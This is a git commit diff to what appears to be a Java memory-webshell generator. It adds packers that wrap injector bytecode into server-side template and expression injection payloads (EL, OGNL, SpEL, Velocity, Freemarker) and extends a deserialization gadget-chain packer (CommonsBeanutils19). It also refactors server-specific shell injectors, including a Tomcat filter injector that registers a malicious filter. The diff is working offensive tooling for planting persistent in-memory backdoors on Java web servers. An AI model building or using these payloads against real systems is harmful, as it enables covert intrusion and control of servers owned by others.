feat: support ssti and expression packer

generator/src/main/java/com/reajason/javaweb/GeneratorMain.java

@@ -1,13 +1,10 @@
 package com.reajason.javaweb;
 
 import com.reajason.javaweb.config.*;
-import com.reajason.javaweb.memsell.glassfish.GlassFishShell;
-import com.reajason.javaweb.memsell.jboss.JbossShell;
-import com.reajason.javaweb.memsell.jetty.JettyShell;
+import com.reajason.javaweb.memsell.AbstractShell;
 import com.reajason.javaweb.memsell.packer.Packer;
-import com.reajason.javaweb.memsell.tomcat.TomcatShell;
-import com.reajason.javaweb.memsell.undertow.UndertowShell;
 import lombok.SneakyThrows;
+import net.bytebuddy.jar.asm.Opcodes;
 import org.apache.commons.codec.binary.Base64;
 
 import java.io.IOException;
@@ -20,11 +17,6 @@ import java.nio.file.StandardOpenOption;
  * @since 2024/11/24
  */
 public class GeneratorMain {
-    static TomcatShell tomcatShell = new TomcatShell();
-    static JettyShell jettyShell = new JettyShell();
-    static JbossShell jbossAsShell = new JbossShell();
-    static UndertowShell undertowShell = new UndertowShell();
-    static GlassFishShell glassFishShell = new GlassFishShell();
 
     public static void main(String[] args) throws IOException {
         ShellConfig shellConfig = ShellConfig.builder()
@@ -48,23 +40,12 @@ public class GeneratorMain {
     }
 
     public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
-        switch (shellConfig.getServer()) {
-            case TOMCAT:
-                return tomcatShell.generate(shellConfig, injectorConfig, shellToolConfig);
-            case JETTY:
-                return jettyShell.generate(shellConfig, injectorConfig, shellToolConfig);
-            case JBOSS:
-                return jbossAsShell.generate(shellConfig, injectorConfig, shellToolConfig);
-            case UNDERTOW:
-                return undertowShell.generate(shellConfig, injectorConfig, shellToolConfig);
-            case GLASSFISH:
-                return glassFishShell.generate(shellConfig, injectorConfig, shellToolConfig);
-            case RESIN:
-                break;
-            default:
-                throw new IllegalArgumentException("Unsupported server");
+        Server server = shellConfig.getServer();
+        AbstractShell shell = server.getShell();
+        if (shell == null) {
+            throw new IllegalArgumentException("Unsupported server");
         }
-        return null;
+        return shell.generate(shellConfig, injectorConfig, shellToolConfig);
     }
 
     @SneakyThrows

generator/src/main/java/com/reajason/javaweb/config/Server.java

@@ -1,70 +1,87 @@
 package com.reajason.javaweb.config;
 
+import com.reajason.javaweb.memsell.AbstractShell;
+import com.reajason.javaweb.memsell.glassfish.GlassFishShell;
+import com.reajason.javaweb.memsell.jboss.JbossShell;
+import com.reajason.javaweb.memsell.jetty.JettyShell;
+import com.reajason.javaweb.memsell.resin.ResinShell;
+import com.reajason.javaweb.memsell.tomcat.TomcatShell;
+import com.reajason.javaweb.memsell.undertow.UndertowShell;
+import lombok.Getter;
+
 /**
  * @author ReaJason
  * @since 2024/11/22
  */
+@Getter
 public enum Server {
     /**
      * Tomcat 中间件
      */
-    TOMCAT,
+    Tomcat(new TomcatShell()),
     /**
      * Jetty 中间件
      */
-    JETTY,
+    Jetty(new JettyShell()),
     /**
      * JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
      */
-    JBOSS,
+    JBoss(new JbossShell()),
     /**
      * Undertow，对应是 Wildfly 以及 JBoss EAP，也有可能是 SpringBoot 用的
      * <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
      */
-    UNDERTOW,
+    Undertow(new UndertowShell()),
 
     /**
      * SpringMVC 框架
      */
-    SPRING_MVC,
+    SpringMVC(null),
 
     /**
      * Spring Webflux 框架
      */
-    SPRING_WEBFLUX,
+    SpringWebflux(null),
 
     /**
      * WebSphere 中间件
      */
-    WEBSPHERE,
+    WebSphere(null),
 
     /**
      * WebLogic 中间件
      */
-    WEBLOGIC,
+    WebLogic(null),
 
     /**
-     * Resin 中间件
+     * Resin 中间件, <a href="https://caucho.com/products/resin/download">Resin</a>
      */
-    RESIN,
+    Resin(new ResinShell()),
 
     /**
-     * Glassfish 中间件
+     * GlassFish 中间件
      */
-    GLASSFISH,
+    GlassFish(new GlassFishShell()),
 
     /**
      * 宝兰德中间件
      */
-    BES,
+    Bes(null),
 
     /**
      * 东方通中间件
      */
-    TONGWEB,
+    Tongweb(null),
 
     /**
      * 金蝶天燕中间件
      */
-    APUSIC
+    Apusic(null),
+    ;
+
+    private final AbstractShell shell;
+
+    Server(AbstractShell shell) {
+        this.shell = shell;
+    }
 }

generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java

@@ -53,6 +53,9 @@ public abstract class AbstractShell {
 
     public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
         Pair<Class<?>, Class<?>> shellInjectorPair = getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
+        if (shellInjectorPair == null) {
+            throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
+        }
         Class<?> shellClass = shellInjectorPair.getLeft();
         Class<?> injectorClass = shellInjectorPair.getRight();
 

generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java

@@ -1,31 +1,32 @@
 package com.reajason.javaweb.memsell.packer;
 
 import com.reajason.javaweb.config.GenerateResult;
-import com.reajason.javaweb.deserialize.CommonsBeanutils19;
+import com.reajason.javaweb.deserialize.DeserializeConfig;
+import com.reajason.javaweb.deserialize.DeserializeGenerator;
+import com.reajason.javaweb.deserialize.PayloadType;
 import lombok.SneakyThrows;
 
-import java.io.ByteArrayOutputStream;
-import java.io.ObjectOutputStream;
+import java.util.Map;
 
 /**
  * @author ReaJason
  * @since 2024/12/10
  */
 public class DeserializePacker implements Packer {
-    @SneakyThrows
-    public static byte[] serialize(Object obj) {
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        ObjectOutputStream oos = new ObjectOutputStream(baos);
-        oos.writeObject(obj);
-        oos.flush();
-        oos.close();
-        return baos.toByteArray();
-    }
 
     @Override
     @SneakyThrows
     public byte[] pack(GenerateResult generateResult) {
-        Object payload = CommonsBeanutils19.getPayload(generateResult.getInjectorBytes());
-        return serialize(payload);
+        DeserializeConfig deserializeConfig = new DeserializeConfig();
+        deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
+        return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig);
+    }
+
+    @Override
+    public byte[] pack(GenerateResult generateResult, Map<String, ?> config) {
+        String payloadType = (String) config.get("payloadType");
+        DeserializeConfig deserializeConfig = new DeserializeConfig();
+        deserializeConfig.setPayloadType(PayloadType.getPayloadType(payloadType));
+        return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig);
     }
 }

generator/src/main/java/com/reajason/javaweb/memsell/packer/ELPacker.java

@@ -0,0 +1,31 @@
+package com.reajason.javaweb.memsell.packer;
+
+import com.reajason.javaweb.config.GenerateResult;
+import org.apache.commons.io.IOUtils;
+
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.util.Objects;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/13
+ */
+public class ELPacker implements Packer {
+    ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
+    String template = "";
+
+    public ELPacker() {
+        try {
+            template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/ELScriptEngine.txt")), Charset.defaultCharset());
+        } catch (IOException ignored) {
+
+        }
+    }
+
+    @Override
+    public byte[] pack(GenerateResult generateResult) {
+        byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
+        return template.replace("{{script}}", new String(scriptBytes)).getBytes();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memsell/packer/FreemarkerPacker.java

@@ -0,0 +1,31 @@
+package com.reajason.javaweb.memsell.packer;
+
+import com.reajason.javaweb.config.GenerateResult;
+import org.apache.commons.io.IOUtils;
+
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.util.Objects;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/13
+ */
+public class FreemarkerPacker implements Packer {
+    ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
+    String template = "";
+
+    public FreemarkerPacker() {
+        try {
+            template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/FreemarkerScriptEngine.txt")), Charset.defaultCharset());
+        } catch (IOException ignored) {
+
+        }
+    }
+
+    @Override
+    public byte[] pack(GenerateResult generateResult) {
+        byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
+        return template.replace("{{script}}", new String(scriptBytes)).getBytes();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java

@@ -13,12 +13,22 @@ import java.util.Objects;
  */
 public class JspPacker implements Packer {
 
+    String jspTemplate = null;
+
+    public JspPacker() {
+        try {
+            jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
+        } catch (Exception ignored) {
+
+        }
+    }
+
+
     @Override
     @SneakyThrows
     public byte[] pack(GenerateResult generateResult) {
         String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
         String injectorClassName = generateResult.getInjectorClassName();
-        String jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
         return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes();
     }
 }

generator/src/main/java/com/reajason/javaweb/memsell/packer/OgnlPacker.java

@@ -0,0 +1,31 @@
+package com.reajason.javaweb.memsell.packer;
+
+import com.reajason.javaweb.config.GenerateResult;
+import org.apache.commons.io.IOUtils;
+
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.util.Objects;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/14
+ */
+public class OgnlPacker implements Packer {
+    ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
+    String template = "";
+
+    public OgnlPacker() {
+        try {
+            template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OgnlScriptEngine.txt")), Charset.defaultCharset());
+        } catch (IOException ignored) {
+
+        }
+    }
+
+    @Override
+    public byte[] pack(GenerateResult generateResult) {
+        byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
+        return template.replace("{{script}}", new String(scriptBytes)).getBytes();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java

@@ -26,7 +26,7 @@ public interface Packer {
      * @param config         配置
      * @return 字节数组
      */
-    default byte[] pack(GenerateResult generateResult, Map<String, String> config) {
+    default byte[] pack(GenerateResult generateResult, Map<String, ?> config) {
         throw new UnsupportedOperationException();
     }
 
@@ -47,6 +47,19 @@ public interface Packer {
          * 反序列化打包器
          */
         Deserialize(new DeserializePacker()),
+
+        /**
+         * EL
+         */
+        EL(new ELPacker()),
+
+        Ognl(new OgnlPacker()),
+
+        SpEL(new SpELPacker()),
+
+        Velocity(new VelocityPacker()),
+
+        Freemarker(new FreemarkerPacker()),
         ;
 
         private final Packer packer;

generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java

@@ -4,6 +4,7 @@ import com.reajason.javaweb.config.GenerateResult;
 import lombok.SneakyThrows;
 import org.apache.commons.io.IOUtils;
 
+import java.io.IOException;
 import java.nio.charset.Charset;
 import java.util.Objects;
 
@@ -12,12 +13,26 @@ import java.util.Objects;
  * @since 2024/12/3
  */
 public class ScriptEnginePacker implements Packer {
+    String jsTemplate = null;
+
+    public ScriptEnginePacker() {
+        try {
+            jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.js")), Charset.defaultCharset());
+        } catch (IOException ignored) {
+
+        }
+    }
+
     @Override
     @SneakyThrows
     public byte[] pack(GenerateResult generateResult) {
         String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
         String injectorClassName = generateResult.getInjectorClassName();
-        String jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.js")), Charset.defaultCharset());
-        return jsTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes();
+        return jsTemplate.replace("{{className}}", injectorClassName)
+                .replace("{{base64Str}}", injectorBytesBase64Str)
+                .replace("\n", "")
+                .replaceAll("(?m)^[ \t]+|[ \t]+$", "")
+                .replaceAll("[ \t]{2,}", " ")
+                .getBytes();
     }
 }

generator/src/main/java/com/reajason/javaweb/memsell/packer/SpELPacker.java

@@ -0,0 +1,31 @@
+package com.reajason.javaweb.memsell.packer;
+
+import com.reajason.javaweb.config.GenerateResult;
+import org.apache.commons.io.IOUtils;
+
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.util.Objects;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/13
+ */
+public class SpELPacker implements Packer {
+    ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
+    String template = "";
+
+    public SpELPacker() {
+        try {
+            template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/SpELScriptEngine.txt")), Charset.defaultCharset());
+        } catch (IOException ignored) {
+
+        }
+    }
+
+    @Override
+    public byte[] pack(GenerateResult generateResult) {
+        byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
+        return template.replace("{{script}}", new String(scriptBytes)).getBytes();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memsell/packer/VelocityPacker.java

@@ -0,0 +1,31 @@
+package com.reajason.javaweb.memsell.packer;
+
+import com.reajason.javaweb.config.GenerateResult;
+import org.apache.commons.io.IOUtils;
+
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.util.Objects;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/13
+ */
+public class VelocityPacker implements Packer {
+    ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
+    String template = "";
+
+    public VelocityPacker() {
+        try {
+            template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/VelocityScriptEngine.txt")), Charset.defaultCharset());
+        } catch (IOException ignored) {
+
+        }
+    }
+
+    @Override
+    public byte[] pack(GenerateResult generateResult) {
+        byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
+        return template.replace("{{script}}", new String(scriptBytes)).getBytes();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java

@@ -32,7 +32,9 @@ public class TomcatFilterInjector {
                 Object filter = getFilter(context);
                 addFilter(context, filter);
             }
-        } catch (Exception ignored) {
+        } catch (Exception e) {
+            System.out.println("filter inject get context error");
+            e.printStackTrace();
         }
     }
 
@@ -213,6 +215,7 @@ public class TomcatFilterInjector {
         // 防止重复注入
         try {
             if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) {
+                System.out.println("filter alread injected");
                 return;
             }
         } catch (Exception ignored) {
@@ -254,7 +257,7 @@ public class TomcatFilterInjector {
             } catch (Exception e) {
                 invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
             }
-
+            System.out.println("filter inject success");
             constructors[0].setAccessible(true);
             try {
                 Object filterConfig = constructors[0].newInstance(context, filterDef);